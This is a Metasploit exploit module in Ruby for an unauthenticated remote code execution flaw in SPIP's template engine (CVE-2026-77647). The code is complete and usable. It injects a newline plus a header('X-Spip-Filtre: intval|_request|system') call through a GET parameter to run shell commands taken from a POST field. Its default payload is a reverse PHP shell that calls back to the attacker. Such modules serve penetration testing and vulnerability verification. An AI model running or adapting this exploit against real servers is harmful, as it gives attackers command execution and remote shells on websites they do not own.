## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Spip prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'SPIP X-Spip-Filtre Unauthenticated RCE', 'Description' => %q{ This module exploits a PHP function-call injection in SPIP's template engine. The analyse_resultat_skel() function extracts patterns from the rendered page body and calls the listed functions as template filters. A newline character is injected into a GET parameter value, which places a header() call on its own line inside the compiled PHP template. The filter chain intval|_request|system reads a shell command from a POST parameter and executes it. }, 'Author' => [ 'Julien Voisin' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-21.html'], ['CVE', '2026-77647'] ], 'Targets' => [ [ 'Automatic', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' }, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2026-08-20', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check rversion = spip_version || spip_plugin_version('spip') return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion print_status("SPIP Version detected: #{rversion}") injection = "\nheader(\"X-Spip-Filtre: intval|phpinfo\");\n" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'spip.php'), 'vars_get' => { Rex::Text.rand_text_alpha(6) => injection } ) return CheckCode::Unknown('Target did not respond') unless res phpinfo_markers = ['PHP Version', 'PHP Extension', 'phpinfo()'] matches = phpinfo_markers.count { |m| res.body&.include?(m) } unless matches >= 2 return CheckCode::Safe('Filter execution was not observed') end if res.body =~ /disable_functions.*?]*>([^<]+)/mi disabled = ::Regexp.last_match(1).strip print_warning("disable_functions: #{disabled}") unless disabled.empty? end CheckCode::Vulnerable('X-Spip-Filtre invoked phpinfo() on the rendered page') end def exploit injection = "\nheader(\"X-Spip-Filtre:intval|_request|system\");\n" print_status('Sending exploit via newline injection (intval|_request|system)...') send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'spip.php'), 'vars_get' => { Rex::Text.rand_text_alpha(4) => injection }, 'vars_post' => { '0' => payload.encoded } } ) end end